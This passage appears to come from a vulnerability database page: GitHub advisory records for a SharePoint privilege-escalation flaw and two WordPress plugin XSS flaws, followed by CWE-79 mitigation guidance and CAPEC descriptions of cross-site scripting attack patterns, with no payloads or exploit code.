"details": "An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka \"Microsoft SharePoint Elevation of Privilege Vulnerability.\" This affects Microsoft SharePoint Server, Microsoft SharePoint. This CVE ID is unique from CVE-2018-8572.",
"id": "GHSA-f2xg-r533-v5p2",
"modified": "2022-05-13T01:53:46Z",
"published": "2022-05-13T01:53:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8568"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8568"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105829"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1042136"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F2XH-R4F4-MJWH
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:32The my-wish-list plugin before 1.4.2 for WordPress has multiple XSS issues.
{
"affected": [],
"aliases": [
"CVE-2015-9493"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-22T20:15:00Z",
"severity": "MODERATE"
},
"details": "The my-wish-list plugin before 1.4.2 for WordPress has multiple XSS issues.",
"id": "GHSA-f2xh-r4f4-mjwh",
"modified": "2024-04-04T02:32:03Z",
"published": "2022-05-24T16:59:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-9493"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/my-wish-list/#developers"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/7937"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F2XH-WFR6-G4GH
Vulnerability from github – Published: 2025-04-01 21:31 – Updated: 2026-04-01 18:34Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Secure Copy Content Protection and Content Locking allows Stored XSS. This issue affects Secure Copy Content Protection and Content Locking: from n/a through 4.4.3.
{
"affected": [],
"aliases": [
"CVE-2025-30905"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T21:15:45Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Ays Pro Secure Copy Content Protection and Content Locking allows Stored XSS. This issue affects Secure Copy Content Protection and Content Locking: from n/a through 4.4.3.",
"id": "GHSA-f2xh-wfr6-g4gh",
"modified": "2026-04-01T18:34:25Z",
"published": "2025-04-01T21:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30905"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/secure-copy-content-protection/vulnerability/wordpress-secure-copy-content-protection-and-content-locking-plugin-4-4-3-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.